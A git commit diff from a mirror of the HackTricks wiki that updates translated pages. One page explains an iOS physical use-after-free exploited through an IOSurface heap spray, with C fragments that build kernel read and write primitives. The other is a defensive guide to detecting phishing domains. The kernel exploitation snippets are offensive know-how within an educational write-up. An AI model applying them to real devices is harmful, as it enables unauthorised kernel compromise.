mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/ios-exploiting/ios-physical-uaf-ios
This commit is contained in:
parent
0f7857b28f
commit
7176c7e286
1
.gitignore
vendored
1
.gitignore
vendored
@ -11,3 +11,4 @@ book
|
||||
book/*
|
||||
hacktricks-preprocessor.log
|
||||
hacktricks-preprocessor-error.log
|
||||
searchindex.js
|
||||
|
@ -1,99 +1,113 @@
|
||||
# iOS Physical Use After Free через IOSurface
|
||||
# iOS Physical Use After Free via IOSurface
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## iOS Exploit Mitigations
|
||||
|
||||
- **Code Signing** в iOS працює так, що кожен фрагмент виконуваного коду (додатки, бібліотеки, розширення тощо) має бути криптографічно підписаний сертифікатом, виданим Apple. Під час завантаження коду iOS перевіряє цифровий підпис щодо довіреного кореневого сертифіката Apple. Якщо підпис недійсний, відсутній або змінений, ОС відмовляється виконувати його. Це запобігає ін’єкції шкідливого коду в легітимні додатки або запуску непідписаних бінарників, ефективно блокуючи більшість експлойт-ланцюгів, що покладаються на виконання довільного або зміненого коду.
|
||||
- **CoreTrust** — підсистема iOS, яка відповідає за виконання перевірок підписів коду під час роботи. Вона безпосередньо перевіряє підписи з використанням кореневого сертифіката Apple, не покладаючись на кешовані магазини довіри, тобто лише бінарники, підписані Apple (або з валідними правами), можуть виконуватись. CoreTrust гарантує, що навіть якщо зловмисник змінить додаток після встановлення, модифікує системні бібліотеки або спробує завантажити непідписаний код, система заблокує виконання, якщо підпис не відповідає вимогам.
|
||||
- **Data Execution Prevention (DEP)** позначає області пам’яті як невиконувані, якщо вони явно не містять коду. Це унеможливлює виконання shellcode, що був записаний у регіони даних (наприклад, стек або heap), змушуючи зловмисників використовувати складніші техніки, як-от ROP.
|
||||
- **ASLR (Address Space Layout Randomization)** рандомізує адреси коду, бібліотек, стеку та heap при кожному запуску системи. Це ускладнює передбачення місцезнаходження потрібних інструкцій або гаджетів, руйнуючи багато експлойт-ланцюгів, що залежать від фіксованої структури пам’яті.
|
||||
- **KASLR (Kernel ASLR)** застосовує ту саму концепцію рандомізації до ядра iOS. Перемішуючи базову адресу ядра при кожному завантаженні, воно ускладнює для зловмисника надійне знаходження функцій або структур ядра, підвищуючи складність експлойтів на рівні ядра.
|
||||
- **Kernel Patch Protection (KPP)**, також відома як **AMCC (Apple Mobile File Integrity)** в iOS, безперервно моніторить сторінки коду ядра, щоб переконатися, що вони не були змінені. Якщо виявлено підтасовку — наприклад, експлойт намагається патчити функції ядра або вставити шкідливий код — пристрій одразу перейде в panic і перезавантажиться. Це ускладнює реалізацію стійких експлойтів у ядрі, оскільки просте підмінення або хукінг інструкцій ядра спричинить збій системи.
|
||||
- **Kernel Text Readonly Region (KTRR)** — апаратна фіча, реалізована на iOS-пристроях. Вона використовує контролер пам’яті CPU, щоб позначити секцію коду (text) ядра як постійно тільки для читання після завантаження. Після блокування навіть саме ядро не може змінювати цю область пам’яті. Це заважає як зловмисникам, так і привілейованому коду патчити інструкції ядра під час роботи, закриваючи значну категорію експлойтів.
|
||||
- **Pointer Authentication Codes (PAC)** використовують криптографічні підписи, вбудовані в невикористовувані біти вказівників, для перевірки їх цілісності перед використанням. Коли вказівник (наприклад, адреса повернення або функціональний вказівник) створюється, CPU підписує його секретним ключем; перед роздереферуванням CPU перевіряє підпис. Якщо вказівник було змінено, перевірка не пройде і виконання припиниться. Це ускладнює підробку або повторне використання корумпованих вказівників у експлойтах, роблячи техніки типу ROP або JOP значно менш надійними.
|
||||
- **Privilege Access never (PAN)** — апаратна функція, що забороняє ядру (привілейований режим) безпосередньо доступати до пам’яті користувацького простору, якщо цей доступ явно не дозволено. Це перешкоджає зловмисникам, які отримали виконання коду в ядрі, просто читати або писати пам’ять userland для ескалації привілеїв чи викрадення даних. Суворе розділення зменшує наслідки експлойтів ядра та блокує багато типових методів підвищення прав.
|
||||
- **Page Protection Layer (PPL)** — механізм iOS, який захищає критичні регіони пам’яті, якими керує ядро, особливо ті, що пов’язані з підписами коду та правами (entitlements). Він встановлює жорсткі захисти на запис з використанням MMU та додаткових перевірок, гарантує, що навіть привілейований код ядра не може довільно змінювати чутливі сторінки. Це ускладнює для зловмисників, які отримали виконання в ядрі, маніпулювати структурами, що гарантують безпеку, ускладнюючи стійкість та обхід підписування коду.
|
||||
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
Це підсумок посту з [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html); додаткову інформацію про експлойт із використанням цієї техніки можна знайти в [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
Простір адрес віртуальної пам'яті для користувацьких процесів на iOS охоплює від **0x0 до 0x8000000000**. Проте ці адреси не відображаються напряму на фізичну пам'ять. Замість цього **ядро** використовує **таблиці сторінок (page tables)** для трансляції віртуальних адрес у реальні **фізичні адреси**.
|
||||
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
|
||||
|
||||
#### Levels of Page Tables in iOS
|
||||
|
||||
Таблиці сторінок організовані ієрархічно на три рівні:
|
||||
Page tables are organized hierarchically in three levels:
|
||||
|
||||
1. **L1 Page Table (Level 1)**:
|
||||
* Кожен запис тут представляє великий діапазон віртуальної пам'яті.
|
||||
* Він покриває **0x1000000000 bytes** (або **256 GB**) віртуальної пам'яті.
|
||||
* Each entry here represents a large range of virtual memory.
|
||||
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
|
||||
2. **L2 Page Table (Level 2)**:
|
||||
* Запис тут представляє менший регіон віртуальної пам'яті, а саме **0x2000000 bytes** (32 MB).
|
||||
* Запис L1 може вказувати на таблицю L2, якщо не може відобразити весь регіон самостійно.
|
||||
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
|
||||
* An L1 entry may point to an L2 table if it can't map the entire region itself.
|
||||
3. **L3 Page Table (Level 3)**:
|
||||
* Це найдрібніший рівень, де кожен запис відображає одну сторінку пам'яті розміром **4 KB**.
|
||||
* Запис L2 може вказувати на таблицю L3, якщо потрібен більш детальний контроль.
|
||||
* This is the finest level, where each entry maps a single **4 KB** memory page.
|
||||
* An L2 entry may point to an L3 table if more granular control is needed.
|
||||
|
||||
#### Mapping Virtual to Physical Memory
|
||||
|
||||
* **Direct Mapping (Block Mapping)**:
|
||||
* Деякі записи в таблиці сторінок безпосередньо **відображають діапазон віртуальних адрес** на суміжний діапазон фізичних адрес (ніби ярлик).
|
||||
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
|
||||
* **Pointer to Child Page Table**:
|
||||
* Якщо потрібен більш тонкий контроль, запис на одному рівні (наприклад, L1) може вказувати на **дочірню таблицю сторінок** на наступному рівні (наприклад, L2).
|
||||
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
|
||||
|
||||
#### Example: Mapping a Virtual Address
|
||||
|
||||
Припустимо, ви намагаєтесь звернутися до віртуальної адреси **0x1000000000**:
|
||||
Let’s say you try to access the virtual address **0x1000000000**:
|
||||
|
||||
1. **L1 Table**:
|
||||
* Ядро перевіряє запис L1, що відповідає цій віртуальній адресі. Якщо він містить **вказівник на таблицю L2**, воно переходить до цієї таблиці L2.
|
||||
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
|
||||
2. **L2 Table**:
|
||||
* Ядро перевіряє таблицю L2 для детальнішого відображення. Якщо цей запис вказує на **таблицю L3**, воно переходить туди.
|
||||
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
|
||||
3. **L3 Table**:
|
||||
* Ядро шукає фінальний запис L3, який вказує на **фізичну адресу** фактичної сторінки пам'яті.
|
||||
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
|
||||
|
||||
#### Example of Address Mapping
|
||||
|
||||
Якщо ви запишете фізичну адресу **0x800004000** у перший індекс таблиці L2, то:
|
||||
If you write the physical address **0x800004000** into the first index of the L2 table, then:
|
||||
|
||||
* Віртуальні адреси від **0x1000000000** до **0x1002000000** відображатимуться на фізичні адреси від **0x800004000** до **0x802004000**.
|
||||
* Це є **block mapping** на рівні L2.
|
||||
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
|
||||
* This is a **block mapping** at the L2 level.
|
||||
|
||||
Або, якщо запис L2 вказує на таблицю L3:
|
||||
Alternatively, if the L2 entry points to an L3 table:
|
||||
|
||||
* Кожна сторінка по 4 KB у віртуальному діапазоні **0x1000000000 -> 0x1002000000** буде відображена окремими записами в таблиці L3.
|
||||
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
|
||||
|
||||
### Physical use-after-free
|
||||
|
||||
Фізичний use-after-free (UAF) виникає коли:
|
||||
A **physical use-after-free** (UAF) occurs when:
|
||||
|
||||
1. Процес **виділяє** певну пам'ять як **читабельну і записувану**.
|
||||
2. **Таблиці сторінок** оновлюються для відображення цієї пам'яті на конкретну фізичну адресу, до якої процес має доступ.
|
||||
3. Процес **звільняє** (deallocate) цю пам'ять.
|
||||
4. Однак через **баг** ядро **забуває видалити відображення** з таблиць сторінок, навіть якщо відповідна фізична пам'ять позначена як вільна.
|
||||
5. Ядро може потім **перевиділити цю "звільнену" фізичну пам'ять** для інших цілей, наприклад для **даних ядра**.
|
||||
6. Оскільки відображення не було видалене, процес все ще може **читати й записувати** у цю фізичну пам'ять.
|
||||
1. A process **allocates** some memory as **readable and writable**.
|
||||
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
|
||||
3. The process **deallocates** (frees) the memory.
|
||||
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
|
||||
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
|
||||
6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory.
|
||||
|
||||
Це означає, що процес може отримати доступ до **сторінок пам'яті ядра**, які можуть містити чутливі дані або структури, потенційно дозволяючи нападнику **маніпулювати пам'яттю ядра**.
|
||||
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
|
||||
|
||||
### IOSurface Heap Spray
|
||||
|
||||
Оскільки атакуючий не може контролювати, які саме сторінки ядра будуть виділені для звільненої пам'яті, він використовує техніку, звану **heap spray**:
|
||||
Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
|
||||
|
||||
1. Атакуючий **створює велику кількість об'єктів IOSurface** в пам'яті ядра.
|
||||
2. Кожен об'єкт IOSurface містить **магічне значення** в одному зі своїх полів, що полегшує ідентифікацію.
|
||||
3. Вони **сканують звільнені сторінки**, щоб перевірити, чи потрапив на якусь із них об'єкт IOSurface.
|
||||
4. Коли вони знаходять об'єкт IOSurface на звільненій сторінці, вони можуть використати його для **читання та запису пам'яті ядра**.
|
||||
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
|
||||
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
|
||||
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
|
||||
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
|
||||
|
||||
Більше інформації про це в [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що пристрої iOS 16+ (A12+) мають апаратні запобіжники (наприклад, PPL або SPTM), які роблять техніки фізичного UAF значно менш життєздатними.
|
||||
> PPL застосовує суворі MMU-захисти до сторінок, пов'язаних з підписуванням коду, entitlements та чутливими даними ядра, тому навіть якщо сторінка буде перевикористана, записи з userland або скомпрометованого коду ядра до сторінок, захищених PPL, будуть заблоковані.
|
||||
> Secure Page Table Monitor (SPTM) розширює PPL, підвищуючи захист оновлень таблиць сторінок. Він забезпечує, що навіть привілейований код ядра не може непомітно перемапити звільнені сторінки або змінити відображення без проходження через захищені перевірки.
|
||||
> KTRR (Kernel Text Read-Only Region) фіксує секцію коду ядра як лише для читання після завантаження. Це запобігає будь-яким runtime-змінам коду ядра, закриваючи велику вразливість, на яку часто спираються експлойти фізичного UAF.
|
||||
> Більше того, `IOSurface`-алокації стали менш передбачуваними і складніші для відображення у зони, доступні користувачу, що робить трюк зі скануванням "магічного значення" менш надійним. А `IOSurface` тепер захищений entitlements і обмеженнями sandbox.
|
||||
> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable.
|
||||
> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked.
|
||||
> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks.
|
||||
> KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on.
|
||||
> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions.
|
||||
|
||||
### Step-by-Step Heap Spray Process
|
||||
|
||||
1. **Spray IOSurface Objects**: Атакуючий створює багато об'єктів IOSurface зі спеціальним ідентифікатором ("magic value").
|
||||
2. **Scan Freed Pages**: Вони перевіряють, чи який-небудь із об'єктів був виділений на звільненій сторінці.
|
||||
3. **Read/Write Kernel Memory**: Маніпулюючи полями об'єкта IOSurface, вони отримують можливість виконувати **довільні читання і записи** в пам'ять ядра. Це дозволяє їм:
|
||||
* Використати одне поле, щоб **читати будь-яке 32-бітне значення** в пам'яті ядра.
|
||||
* Використати інше поле, щоб **записувати 64-бітні значення**, досягаючи стабільного **kernel read/write primitive**.
|
||||
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
|
||||
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
|
||||
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
|
||||
* Use one field to **read any 32-bit value** in kernel memory.
|
||||
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
|
||||
|
||||
Згенеруйте об'єкти IOSurface зі значенням-маркером IOSURFACE_MAGIC, щоб пізніше шукати:
|
||||
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
@ -114,7 +128,7 @@ io_connect_t id = result.surface_id;
|
||||
}
|
||||
}
|
||||
```
|
||||
Пошук **`IOSurface`** об'єктів в одній вивільненій фізичній сторінці:
|
||||
Пошук об'єктів **`IOSurface`** на одній звільненій фізичній сторінці:
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
@ -148,25 +162,25 @@ free(surfaceIDs);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Досягнення читання/запису в ядро за допомогою IOSurface
|
||||
### Achieving Kernel Read/Write with IOSurface
|
||||
|
||||
Після отримання контролю над об'єктом IOSurface в пам'яті ядра (відображеним на звільнену фізичну сторінку, доступну з userspace), ми можемо використовувати його для **довільних операцій читання та запису в ядро**.
|
||||
Після отримання контролю над об'єктом IOSurface в kernel memory (мапований на звільнену фізичну сторінку, доступну з userspace), ми можемо використовувати його для **arbitrary kernel read and write operations**.
|
||||
|
||||
**Key Fields in IOSurface**
|
||||
|
||||
Об'єкт IOSurface має два ключові поля:
|
||||
|
||||
1. **Use Count Pointer**: Дозволяє **32-бітне читання**.
|
||||
2. **Indexed Timestamp Pointer**: Дозволяє **64-бітовий запис**.
|
||||
1. **Use Count Pointer**: Дозволяє **32-bit read**.
|
||||
2. **Indexed Timestamp Pointer**: Дозволяє **64-bit write**.
|
||||
|
||||
Перезаписавши ці вказівники, ми перенаправляємо їх на довільні адреси в пам'яті ядра, що дає можливість читання та запису.
|
||||
Перезаписавши ці вказівники, ми перенаправляємо їх на довільні адреси в kernel memory, що дає змогу виконувати читання/запис.
|
||||
|
||||
#### 32-Bit Kernel Read
|
||||
|
||||
Щоб виконати читання:
|
||||
|
||||
1. Перезапишіть **use count pointer**, щоб він вказував на цільову адресу мінус 0x14 байт.
|
||||
2. Використайте метод `get_use_count` для читання значення за цією адресою.
|
||||
1. Перезапишіть **use count pointer**, щоб він вказував на цільову адресу мінус зсув 0x14 байт.
|
||||
2. Використайте метод `get_use_count` для зчитування значення за цією адресою.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
@ -184,12 +198,12 @@ iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### 64-Bit Kernel Запис
|
||||
#### 64-Bit Kernel Write
|
||||
|
||||
Щоб виконати запис:
|
||||
|
||||
1. Перезаписати **indexed timestamp pointer** на цільову адресу.
|
||||
2. Використати метод `set_indexed_timestamp` для запису 64-бітного значення.
|
||||
1. Перезапишіть **indexed timestamp pointer**, встановивши його на цільову адресу.
|
||||
2. Використайте метод `set_indexed_timestamp` для запису 64-бітного значення.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
@ -205,11 +219,11 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
```
|
||||
#### Exploit Flow Recap
|
||||
|
||||
1. **Trigger Physical Use-After-Free**: Вільні сторінки стають доступними для повторного використання.
|
||||
2. **Spray IOSurface Objects**: Виділяються численні об'єкти IOSurface з унікальним "magic value" в kernel memory.
|
||||
3. **Identify Accessible IOSurface**: Знайти IOSurface на звільненій сторінці, якою ви керуєте.
|
||||
4. **Abuse Use-After-Free**: Змінити вказівники в об'єкті IOSurface, щоб отримати довільне **kernel read/write** через методи IOSurface.
|
||||
1. Спровокувати Physical Use-After-Free: вільні сторінки доступні для повторного використання.
|
||||
2. Spray IOSurface Objects: Виділити багато об'єктів IOSurface з унікальним "magic value" у kernel memory.
|
||||
3. Identify Accessible IOSurface: Знайти IOSurface на звільненій сторінці, яку ви контролюєте.
|
||||
4. Abuse Use-After-Free: Змінити вказівники в об'єкті IOSurface, щоб дозволити довільний kernel read/write через методи IOSurface.
|
||||
|
||||
З цими примітивами експлойт забезпечує керовані **32-bit reads** і **64-bit writes** у kernel memory. Подальші кроки для jailbreak можуть включати більш стабільні read/write primitives, які можуть вимагати обходу додаткових захистів (наприклад, PPL на новіших пристроях arm64e).
|
||||
З цими примітивами експлойт забезпечує контрольовані 32-bit reads і 64-bit writes до kernel memory. Подальші кроки jailbreak можуть включати більш стабільні read/write primitives, які можуть вимагати обходу додаткових захистів (наприклад, PPL на новіших пристроях arm64e).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,69 +1,147 @@
|
||||
# Виявлення фішингу
|
||||
# Виявлення Phishing
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Вступ
|
||||
|
||||
Щоб виявити спробу фішингу, важливо **зрозуміти техніки фішингу, які використовуються сьогодні**. На батьківській сторінці цього посту ви можете знайти цю інформацію, тому якщо ви не знаєте, які техніки використовуються сьогодні, я рекомендую вам перейти на батьківську сторінку і прочитати принаймні цей розділ.
|
||||
Щоб виявити phishing-спробу, важливо **розуміти phishing-техніки, які використовуються сьогодні**. На батьківській сторінці цього допису ви знайдете цю інформацію, тож якщо ви не ознайомлені з техніками, що застосовуються зараз, рекомендую перейти на батьківську сторінку і прочитати принаймні цю секцію.
|
||||
|
||||
Цей пост базується на ідеї, що **зловмисники намагатимуться якимось чином імітувати або використовувати доменне ім'я жертви**. Якщо ваш домен називається `example.com`, а вас фішать, використовуючи зовсім інше доменне ім'я, наприклад `youwonthelottery.com`, ці техніки не допоможуть його виявити.
|
||||
Цей допис базується на ідеї, що **атакуючі спробують якимось чином імітувати або використати домен жертви**. Якщо ваш домен називається `example.com` і вас phished використовуючи зовсім інший домен, наприклад `youwonthelottery.com`, ці техніки цього не виявлять.
|
||||
|
||||
## Варіації доменних імен
|
||||
## Варіації імен доменів
|
||||
|
||||
Досить **легко** **виявити** ті **спроби фішингу**, які використовують **схоже доменне** ім'я в електронному листі.\
|
||||
Досить **згенерувати список найбільш ймовірних імен фішингу**, які може використовувати зловмисник, і **перевірити**, чи вони **зареєстровані** або просто перевірити, чи є якийсь **IP**, що його використовує.
|
||||
Досить **просто** виявити ті **phishing**-спроби, що використовують у листі **схожий домен**.
|
||||
Достатньо **згенерувати список найімовірніших phishing-імен**, які може використати атакуючий, і **перевірити**, чи вони **зареєстровані**, або просто перевірити, чи є на них якийсь **IP**.
|
||||
|
||||
### Знаходження підозрілих доменів
|
||||
### Пошук підозрілих доменів
|
||||
|
||||
Для цього ви можете використовувати будь-який з наступних інструментів. Зверніть увагу, що ці інструменти також автоматично виконують DNS-запити, щоб перевірити, чи має домен будь-який призначений йому IP:
|
||||
Для цього можна використати будь-який з наведених інструментів. Зверніть увагу, що ці інструменти автоматично виконують DNS-запити, щоб перевірити, чи має домен призначений **IP**:
|
||||
|
||||
- [**dnstwist**](https://github.com/elceef/dnstwist)
|
||||
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
|
||||
|
||||
Порада: Якщо ви згенеруєте список кандидатів, підсуньте його також у логи вашого DNS-resolver'а, щоб виявити **NXDOMAIN запити зсередини організації** (користувачі, що намагаються дістатися до опечатки до того, як атакуючий її зареєструє). Sinkhole або попередньо заблокуйте ці домени, якщо політика дозволяє.
|
||||
|
||||
### Bitflipping
|
||||
|
||||
**Ви можете знайти коротке пояснення цієї техніки на батьківській сторінці. Або прочитайте оригінальне дослідження в** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
**Коротке пояснення цієї техніки можна знайти на батьківській сторінці. Або прочитайте оригінальне дослідження в** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
|
||||
Наприклад, модифікація 1 біта в домені microsoft.com може перетворити його на _windnws.com._\
|
||||
**Зловмисники можуть зареєструвати якомога більше доменів з битфліпом, пов'язаних з жертвою, щоб перенаправити легітимних користувачів на свою інфраструктуру**.
|
||||
Наприклад, одне бітове змінення в домені microsoft.com може перетворити його на _windnws.com_.\
|
||||
**Атакуючі можуть зареєструвати якомога більше bit-flipping доменів, пов'язаних із жертвою, щоб перенаправити легітимних користувачів на свою інфраструктуру**.
|
||||
|
||||
**Всі можливі доменні імена з битфліпом також слід моніторити.**
|
||||
**Усі можливі bit-flipping доменні імена також повинні моніторитись.**
|
||||
|
||||
### Основні перевірки
|
||||
Якщо вам також треба врахувати homoglyph/IDN підробки (наприклад, змішування латиниці/кирилиці), дивіться:
|
||||
|
||||
Коли у вас є список потенційно підозрілих доменних імен, ви повинні **перевірити** їх (в основному порти HTTP та HTTPS), щоб **переконатися, що вони використовують якусь форму входу, схожу на домен жертви**.\
|
||||
Ви також можете перевірити порт 3333, щоб дізнатися, чи він відкритий і працює екземпляр `gophish`.\
|
||||
Цікаво також знати, **наскільки старий кожен виявлений підозрілий домен**, чим молодший, тим ризикованіший він.\
|
||||
Ви також можете отримати **скріншоти** підозрілої веб-сторінки HTTP та/або HTTPS, щоб перевірити, чи вона підозріла, і в такому випадку **зайти на неї, щоб детальніше розглянути**.
|
||||
{{#ref}}
|
||||
homograph-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
### Базові перевірки
|
||||
|
||||
Коли у вас є список потенційно підозрілих доменів, ви повинні їх **перевірити** (насамперед порти HTTP та HTTPS), щоб **переконатися, чи використовують вони якийсь login form, схожий на форму домену жертви**.\
|
||||
Також можна перевірити порт 3333, щоб побачити, чи відкритий він і чи запущений там екземпляр `gophish`.\
|
||||
Цікаво також знати, **якого віку кожен виявлений підозрілий домен** — чим молодший, тим ризик вищий.\
|
||||
Ви також можете отримати **скриншоти** підозрілої HTTP/HTTPS сторінки, щоб перевірити її, і в разі підозри **перейти на неї для детальнішого огляду**.
|
||||
|
||||
### Розширені перевірки
|
||||
|
||||
Якщо ви хочете зробити ще один крок вперед, я б рекомендував вам **моніторити ці підозрілі домени та час від часу шукати нові** (кожен день? це займає лише кілька секунд/хвилин). Ви також повинні **перевірити** відкриті **порти** пов'язаних IP і **шукати екземпляри `gophish` або подібних інструментів** (так, зловмисники також роблять помилки) і **моніторити веб-сторінки HTTP та HTTPS підозрілих доменів і піддоменів**, щоб дізнатися, чи скопіювали вони якусь форму входу з веб-сторінок жертви.\
|
||||
Щоб **автоматизувати це**, я б рекомендував мати список форм входу доменів жертви, обробляти підозрілі веб-сторінки та порівнювати кожну знайдену форму входу в підозрілих доменах з кожною формою входу домену жертви, використовуючи щось на кшталт `ssdeep`.\
|
||||
Якщо ви виявили форми входу підозрілих доменів, ви можете спробувати **надіслати сміттєві облікові дані** і **перевірити, чи перенаправляє вас на домен жертви**.
|
||||
Якщо хочете піти далі, рекомендую **моніторити ці підозрілі домени і періодично шукати нові** (щодня? це займає лише кілька секунд/хвилин). Також потрібно **перевіряти відкриті порти пов'язаних IP-адрес** та **шукати інстанси `gophish` або подібних інструментів** (так, атакуючі теж помиляються), а також **моніторити HTTP та HTTPS сторінки підозрілих доменів і субдоменів**, щоб побачити, чи скопіювали вони будь-яку login form зі сторінок жертви.\
|
||||
Для автоматизації рекомендую мати список login form доменів жертви, сканувати підозрілі сторінки і порівнювати кожну знайдену login form на підозрілих доменах з кожною login form домену жертви, використовуючи щось на кшталт `ssdeep`.\
|
||||
Якщо ви локалізували login form-и підозрілих доменів, можна спробувати **надіслати junk credentials** і **перевірити, чи перенаправляє вас на домен жертви**.
|
||||
|
||||
## Доменні імена з використанням ключових слів
|
||||
---
|
||||
|
||||
Батьківська сторінка також згадує техніку варіації доменних імен, яка полягає в тому, щоб помістити **доменне ім'я жертви всередину більшого домену** (наприклад, paypal-financial.com для paypal.com).
|
||||
### Полювання за favicon та веб-фінгерпринтами (Shodan/ZoomEye/Censys)
|
||||
|
||||
### Прозорість сертифікатів
|
||||
Багато phishing kit-ів повторно використовують favicons бренду, який вони імітують. Інтернет-сканери обчислюють MurmurHash3 від base64-encoded favicon. Ви можете згенерувати хеш і pivot-нути за ним:
|
||||
|
||||
Неможливо застосувати попередній підхід "Brute-Force", але насправді **можливо виявити такі спроби фішингу** також завдяки прозорості сертифікатів. Кожного разу, коли сертифікат видається ЦС, деталі стають публічними. Це означає, що, читаючи прозорість сертифікатів або навіть моніторячи її, **можливо знайти домени, які використовують ключове слово в своєму імені**. Наприклад, якщо зловмисник генерує сертифікат для [https://paypal-financial.com](https://paypal-financial.com), переглядаючи сертифікат, можна знайти ключове слово "paypal" і дізнатися, що використовується підозріле електронне повідомлення.
|
||||
Приклад Python (mmh3):
|
||||
```python
|
||||
import base64, requests, mmh3
|
||||
url = "https://www.paypal.com/favicon.ico" # change to your brand icon
|
||||
b64 = base64.encodebytes(requests.get(url, timeout=10).content)
|
||||
print(mmh3.hash(b64)) # e.g., 309020573
|
||||
```
|
||||
- Запит у Shodan: `http.favicon.hash:309020573`
|
||||
- За допомогою інструментів: використовуйте інструменти спільноти, такі як favfreak, щоб генерувати hashes і dorks для Shodan/ZoomEye/Censys.
|
||||
|
||||
Пост [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) пропонує використовувати Censys для пошуку сертифікатів, що стосуються конкретного ключового слова, і фільтрувати за датою (тільки "нові" сертифікати) та за видавцем ЦС "Let's Encrypt":
|
||||
Примітки
|
||||
- Favicons часто повторно використовуються; розглядайте збіги як leads і перевіряйте вміст та certs перед діями.
|
||||
- Комбінуйте з domain-age та keyword heuristics для підвищення точності.
|
||||
|
||||
### Пошук URL-телеметрії (urlscan.io)
|
||||
|
||||
`urlscan.io` зберігає історичні скриншоти, DOM, requests та TLS metadata поданих URL. Ви можете шукати зловживання брендом та клони:
|
||||
|
||||
Приклади запитів (UI або API):
|
||||
- Знайти lookalikes, виключаючи ваші легітимні домени: `page.domain:(/.*yourbrand.*/ AND NOT yourbrand.com AND NOT www.yourbrand.com)`
|
||||
